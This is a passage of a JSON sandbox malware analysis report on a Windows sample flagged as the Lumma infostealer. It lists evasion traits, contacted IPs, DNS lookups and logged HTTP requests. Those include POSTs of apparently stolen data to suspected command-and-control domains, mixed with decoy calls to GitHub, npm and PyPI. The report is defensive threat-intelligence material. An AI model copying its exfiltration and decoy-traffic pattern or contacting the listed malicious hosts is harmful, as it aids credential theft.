extensions"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Detected multiple DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 14 domains and 14 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":133,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":10,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":14,"dns_resolutions_count":14,"contacted_urls_count":95,"http_requests_count":95},"behavior_tags":["malicious","new_domain","infostealer"],"sample_flags":["Multi-Process","Network Traffic"],"sandbox_reports":[{"id":"69f3e478e8eaee8f500f0b28","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"TrojanPSW.Lumma.gen","contacted_countries":["USA"],"submit_name":"setup.exe","analysis_start_time":"2026-04-30T23:23:39+00:00","indicators_count":{"informative":200,"suspicious":62,"malicious":8},"tags":["Multi-Process","Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.67.174.88","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"104.21.75.214","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"172.67.167.151","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"104.16.9.34","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"140.82.112.5","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"104.18.43.187","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"23.38.161.245","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"57.150.61.65","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"172.67.159.182","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"151.101.192.223","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"213.188.196.246","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"150.171.109.185","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"54.198.84.224","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"address":"52.85.61.122","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}],"dns_resolutions":[{"domain":"aka.ms","address":"23.38.161.245","ttl":3,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"api.github.com","address":"140.82.112.5","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"azcliprod.blob.core.windows.net","address":"57.150.61.65","ttl":42,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"grantt.qumarox.icu","address":"172.67.159.182","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"httpbin.org","address":"54.198.84.224","ttl":3,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"hub.docker.com","address":"104.18.43.187","ttl":11,"country":"-","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"jsonplaceholder.typicode.com","address":"172.67.167.151","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"ootip.submergejunkie.life","address":"104.21.75.214","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"pypi.org","address":"151.101.192.223","ttl":16150,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"registry.npmjs.org","address":"104.16.9.34","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"registry.terraform.io","address":"52.85.61.122","ttl":50,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"turbine.grandauto.cfd","address":"172.67.174.88","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"worldtimeapi.org","address":"213.188.196.246","ttl":64,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"domain":"www.powershellgallery.com","address":"150.171.109.185","ttl":2832,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}],"http_requests":[{"host":"turbine.grandauto.cfd","host_ip":"172.67.174.88:443","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nHost: turbine.grandauto.cfd\nContent-Type: application/octet-stream\nX-Request-ID: 0\nConnection: keep-alive\nContent-Length: 75\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"turbine.grandauto.cfd","host_ip":"172.67.174.88:443","url":"/7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1\nHost: turbine.grandauto.cfd\nContent-Type: application/octet-stream\nX-Request-ID: BPEU3BB_KfWlxp2kTrSReA\nConnection: keep-alive\nContent-Length: 73\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"turbine.grandauto.cfd","host_ip":"172.67.174.88:443","url":"/GhyE.Q","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /GhyE.Q HTTP/1.1\nHost: turbine.grandauto.cfd\nContent-Type: application/octet-stream\nX-Request-ID: BPEU3BB_KfWlxp2kTrSReA\nConnection: keep-alive\nContent-Length: 327\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"turbine.grandauto.cfd","host_ip":"172.67.174.88:443","url":"/sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1\nHost: turbine.grandauto.cfd\nContent-Type: application/octet-stream\nX-Request-ID: BPEU3BB_KfWlxp2kTrSReA\nConnection: keep-alive\nContent-Length: 267\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"turbine.grandauto.cfd","host_ip":"172.67.174.88:443","url":"/iI7Vydj_ozHSkCACl-LbIm7yFbz_6EOFf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /iI7Vydj_ozHSkCACl-LbIm7yFbz_6EOFf HTTP/1.1\nHost: turbine.grandauto.cfd\nContent-Type: application/octet-stream\nX-Request-ID: BPEU3BB_KfWlxp2kTrSReA\nConnection: keep-alive\nContent-Length: 1376\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"turbine.grandauto.cfd","host_ip":"172.67.174.88:443","url":"/L7-hLz.9DFjOBP-ypN1hZh_AT4qt","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1\nHost: turbine.grandauto.cfd\nContent-Type: application/octet-stream\nX-Request-ID: BPEU3BB_KfWlxp2kTrSReA\nConnection: keep-alive\nContent-Length: 2345\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"ootip.submergejunkie.life","host_ip":"104.21.75.214:443","url":"/was0do6si2","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /was0do6si2 HTTP/1.1\nHost: ootip.submergejunkie.life\nConnection: close","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"turbine.grandauto.cfd","host_ip":"172.67.174.88:443","url":"/tR4-YlU5Um-cyv-wP","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /tR4-YlU5Um-cyv-wP HTTP/1.1\nHost: turbine.grandauto.cfd\nContent-Type: application/octet-stream\nX-Request-ID: BPEU3BB_KfWlxp2kTrSReA\nConnection: keep-alive\nContent-Length: 452364\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/130","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/130 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/chai","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /chai HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/google/ExoPlayer/contributors","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/google/ExoPlayer/contributors HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/laravel/laravel/commits","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/laravel/laravel/commits HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"hub.docker.com","host_ip":"104.18.43.187:443","url":"/v2/repositories/library/golang/tags/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /v2/repositories/library/golang/tags/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: hub.docker.com\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"aka.ms","host_ip":"23.38.161.245:443","url":"/installazurecliwindows","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /installazurecliwindows HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: aka.ms\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"grantt.qumarox.icu","host_ip":"172.67.159.182:443","url":"/sdfkkiso87","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sdfkkiso87 HTTP/1.1\nHost: grantt.qumarox.icu\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/26","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/26 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"hub.docker.com","host_ip":"104.18.43.187:443","url":"/v2/repositories/library/openjdk/tags/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /v2/repositories/library/openjdk/tags/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: hub.docker.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/posts/17","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /posts/17 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/date-fns/date-fns/contributors?ref=4668395269973","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/date-fns/date-fns/contributors?ref=4668395269973 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/saltstack/salt/releases","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/saltstack/salt/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/posts/95","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /posts/95 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"pypi.org","host_ip":"151.101.192.223:443","url":"/pypi/rich/json","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /pypi/rich/json HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: pypi.org\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/161","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/161 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/facebook/react-native/contributors","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/facebook/react-native/contributors HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/microsoft/generative-ai-for-beginners/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/microsoft/generative-ai-for-beginners/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/ansible/ansible/releases","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/ansible/ansible/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/188","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/188 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/axios/axios/tags","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/axios/axios/tags HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/traefik/traefik/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/traefik/traefik/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/12","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/12 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/rust-lang/rust/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/rust-lang/rust/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"www.powershellgallery.com","host_ip":"150.171.109.185:443","url":"/api/v2/FindPackagesById()?id=%27Az.Storage%27","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v2/FindPackagesById()?id=%27Az.Storage%27 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: www.powershellgallery.com\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/posts/78","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /posts/78 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/106","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/106 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/babel-core/latest","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /babel-core/latest HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"pypi.org","host_ip":"151.101.192.223:443","url":"/pypi/structlog/json","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /pypi/structlog/json HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: pypi.org\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/netdata/netdata/contributors","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/netdata/netdata/contributors HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/headlessui/latest","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /headlessui/latest HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/biomejs/biome/commits","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/biomejs/biome/commits HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/facebook/prophet/releases","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/facebook/prophet/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/argoproj/argo-cd","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/argoproj/argo-cd HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/minio/minio/contributors?time=5646507910288","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/minio/minio/contributors?time=5646507910288 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/nodemon/latest","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /nodemon/latest HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: 